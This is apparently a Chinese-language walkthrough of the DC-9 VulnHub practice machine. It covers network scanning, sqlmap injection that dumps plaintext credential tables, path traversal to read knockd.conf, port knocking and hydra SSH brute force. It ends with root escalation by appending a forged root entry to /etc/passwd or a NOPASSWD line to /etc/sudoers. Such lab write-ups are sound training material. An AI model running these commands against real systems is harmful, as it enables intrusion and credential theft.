当前位置:   article > 正文

DC-9靶场

dc-9靶场

一.环境搭建

1.下载地址

靶机下载地址:https://download.vulnhub.com/dc/DC-9.zip

2.虚拟机配置

设置虚拟机为nat,遇到错误点重试和是

开启虚拟机如下图所示

 

二.开始渗透

1. 信息收集

查找靶机的ip地址

arp-scan -l

发现靶机的ip地址为192.168.111.137,攻击机(kali)的ip地址为192.168.111.128 

用nmap扫描其开启服务和端口

nmap -p- -sV 192.168.111.137

发现ssh和http服务打开 

用浏览器打开其http服务,如下图 

 发现一句提示,翻译一下看看

点击这个search,进行抓包

 发现此处存在sql注入

 2.sql注入

用sqlmap进行注入

sqlmap -u "http://192.168.111.137/results.php" --data "search=" --dbs

跑users表

sqlmap -u "http://192.168.111.137/results.php" --data "search=" -D users --tables

 

sqlmap -u "http://192.168.111.137/results.php" --data "search=" -D users -T UserDetails --dump

  1. +----+------------+---------------+---------------------+-----------+-----------+
  2. | id | lastname | password | reg_date | username | firstname |
  3. +----+------------+---------------+---------------------+-----------+-----------+
  4. | 1 | Moe | 3kfs86sfd | 2019-12-29 16:58:26 | marym | Mary |
  5. | 2 | Dooley | 468sfdfsd2 | 2019-12-29 16:58:26 | julied | Julie |
  6. | 3 | Flintstone | 4sfd87sfd1 | 2019-12-29 16:58:26 | fredf | Fred |
  7. | 4 | Rubble | RocksOff | 2019-12-29 16:58:26 | barneyr | Barney |
  8. | 5 | Cat | TC&TheBoyz | 2019-12-29 16:58:26 | tomc | Tom |
  9. | 6 | Mouse | B8m#48sd | 2019-12-29 16:58:26 | jerrym | Jerry |
  10. | 7 | Flintstone | Pebbles | 2019-12-29 16:58:26 | wilmaf | Wilma |
  11. | 8 | Rubble | BamBam01 | 2019-12-29 16:58:26 | bettyr | Betty |
  12. | 9 | Bing | UrAG0D! | 2019-12-29 16:58:26 | chandlerb | Chandler |
  13. | 10 | Tribbiani | Passw0rd | 2019-12-29 16:58:26 | joeyt | Joey |
  14. | 11 | Green | yN72#dsd | 2019-12-29 16:58:26 | rachelg | Rachel |
  15. | 12 | Geller | ILoveRachel | 2019-12-29 16:58:26 | rossg | Ross |
  16. | 13 | Geller | 3248dsds7s | 2019-12-29 16:58:26 | monicag | Monica |
  17. | 14 | Buffay | smellycats | 2019-12-29 16:58:26 | phoebeb | Phoebe |
  18. | 15 | McScoots | YR3BVxxxw87 | 2019-12-29 16:58:26 | scoots | Scooter |
  19. | 16 | Trump | Ilovepeepee | 2019-12-29 16:58:26 | janitor | Donald |
  20. | 17 | Morrison | Hawaii-Five-0 | 2019-12-29 16:58:28 | janitor2 | Scott |
  21. +----+------------+---------------+---------------------+-----------+-----------+

 下爆staff的

sqlmap -u "http://192.168.111.137/results.php" --data "search=" -D Staff --tables

sqlmap -u "http://192.168.111.137/results.php" --data "search=" -D Staff -T Users --dump

账号获取到了,密码被爆破出来了

看一下StaffDetails(这里虚拟机的http直接被访问到502了,重启一下靶机即可)

sqlmap -u "http://192.168.111.137/results.php" --data "search=" -D Staff -T StaffDetails --dump

 利用之前获取到的账号密码admin/transorbital1进行用户登录

登录成功,下面显示file does not exist ,怀疑包含了某文件,所以尝试文件包含

看大佬的wp,访问该路径获取关键信息

http://192.168.111.137/welcome.php?file=../../../../../../../../../etc/knockd.conf

[options] UseSyslog [openSSH] sequence = 7469,8475,9842 seq_timeout = 25 command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn [closeSSH] sequence = 9842,8475,7469 seq_timeout = 25 command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn 

 这玩意也不知道啥意思,问问万能的ai吧

[openSSH]

  • sequence = 7469,8475,9842:接收到的 TCP 数据包的序列号序列,用于识别 SSH 连接尝试。
  • seq_timeout = 25:在指定时间(以秒为单位)内,如果收到序列号序列中的下一个序列号,则认为是有效的 SSH 连接尝试。
  • command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn:如果收到有效的 SSH 连接尝试,则执行此命令。该命令将允许来自 IP 地址 %IP% 的 TCP 端口 22 的连接。

[closeSSH]

  • sequence = 9842,8475,7469:与 [openSSH] 相同,但用于识别 SSH 连接关闭。
  • seq_timeout = 25:与 [openSSH] 相同。
  • command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn:如果收到有效的 SSH 连接关闭,则执行此命令。该命令将删除允许来自 IP 地址 %IP% 的 TCP 端口 22 的连接的规则。

knockd字面意思是敲,只是这里敲的是端口,而且需要按照顺序‘敲’端口。如果敲击规则匹配,则可以让防火墙实时更改策略。从而达到开关防火墙的目的。 

也就是说黑客进行直接扫描端口扫描不出来,只有进行固定knockd的访问才能打开
查看配置文件发现需要连续访问的端口,轮流敲这些端口

  1. nmap 192.168.111.137 -p 7469
  2. nmap 192.168.111.137 -p 8475
  3. nmap 192.168.111.137 -p 9842

nmap -p 22 192.168.111.137

查看到ssh服务已经开启

3.ssh暴力破解

将前面sql注入出来的用户名和密码分别保存在users.txt和pass.txt 

将前面保存sqlmap自动保存的csv文件复制到物理机进行操作

users.txt

  1. marym
  2. julied
  3. fredf
  4. barneyr
  5. tomc
  6. jerrym
  7. wilmaf
  8. bettyr
  9. chandlerb
  10. joeyt
  11. rachelg
  12. rossg
  13. monicag
  14. phoebeb
  15. scoots
  16. janitor
  17. janitor2

pass.txt

  1. 3kfs86sfd
  2. 468sfdfsd2
  3. 4sfd87sfd1
  4. RocksOff
  5. TC&TheBoyz
  6. B8m#48sd
  7. Pebbles
  8. BamBam01
  9. UrAG0D!
  10. Passw0rd
  11. yN72#dsd
  12. ILoveRachel
  13. 3248dsds7s
  14. smellycats
  15. YR3BVxxxw87
  16. Ilovepeepee
  17. Hawaii-Five-0

 利用工具进行ssh账号密码爆破

hydra -L users.txt -P pass.txt 192.168.111.137 ssh

  1. [22][ssh] host: 192.168.111.137 login: chandlerb password: UrAG0D!
  2. [22][ssh] host: 192.168.111.137 login: joeyt password: Passw0rd
  3. [22][ssh] host: 192.168.111.137 login: janitor password: Ilovepeepee

4.获得shell

根据大佬wp可知,其他两个用户登录后无作用

登录janitor

ls -al

 查看到隐藏文件

  1. cd .secrets-for-putin
  2. cat passwords-found-on-post-it-notes.txt

  1. BamBam01
  2. Passw0rd
  3. smellycats
  4. P0Lic#10-4
  5. B4-Tru3-001
  6. 4uGU5T-NiGHts

将这一串密码加入刚刚的爆破密码中,重新进行爆破,生成newpass.txt

 newpass.txt

  1. 3kfs86sfd
  2. 468sfdfsd2
  3. 4sfd87sfd1
  4. RocksOff
  5. TC&TheBoyz
  6. B8m#48sd
  7. Pebbles
  8. BamBam01
  9. UrAG0D!
  10. Passw0rd
  11. yN72#dsd
  12. ILoveRachel
  13. 3248dsds7s
  14. smellycats
  15. YR3BVxxxw87
  16. Ilovepeepee
  17. Hawaii-Five-0
  18. BamBam01
  19. Passw0rd
  20. smellycats
  21. P0Lic#10-4
  22. B4-Tru3-001
  23. 4uGU5T-NiGHts

 重新进行爆破

hydra -l users.txt -P newpass.txt 192.168.111.137 ssh

爆破出一个新用户 

进行ssh连接 fredf/B4-Tru3-001

ssh fredf@192.168.111.137

5.提权

进行提权

sudo -l

列出sudo权限的命令,这里发现fred用户在NOPASSWD的情况下可以使用root权限运行这个test文件

 

cd到该目录下尝试运行,发现为python文件

找到这个test.py文件

find / -name test.py 2>/dev/null

查看文件

  1. #!/usr/bin/python
  2. import sys
  3. if len (sys.argv) != 3 :
  4. print ("Usage: python test.py read append")
  5. sys.exit (1)
  6. else :
  7. f = open(sys.argv[1], "r")
  8. output = (f.read())
  9. f = open(sys.argv[2], "a")
  10. f.write(output)
  11. f.close()

 发现代码作用需要两个文件,把第一文件追加到第二个文件后

openssl生成密码,前一个mlws为账号,后一个1900为要加密的密码

openssl passwd -1 -salt mlws 1900
$1$mlws$VPTJ3t70fTytbTKtREHSF1

 

把下面内容写入一个文件

echo 'mlws:$1$mlws$VPTJ3t70fTytbTKtREHSF1:0:0::/root:/bin/bash' >> /tmp/tiquan

使用test文件,将该文件的内容写入到passwd中

sudo ./test /tmp/tiquan /etc/passwd

切换账户

su mlws

成功提权

 

成功获取到最终的flag

三.其他

1.可以用knock命令直接对三个端口进行敲击

需要安装knock

knock 192.168.111.137 7469 8475 9842

2.提权可构造权限行,写入/etc/sudoers

echo "fredf ALL=(root) NOPASSWD:ALL" > /tmp/tq.txt
sudo /opt/devstuff/dist/test/test /tmp/tq.txt /etc/sudoers
sudo su root

一样可以提权成功 

至此dc1-9靶机全部完成

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/一键难忘520/article/detail/987280
推荐阅读
相关标签
  

闽ICP备14008679号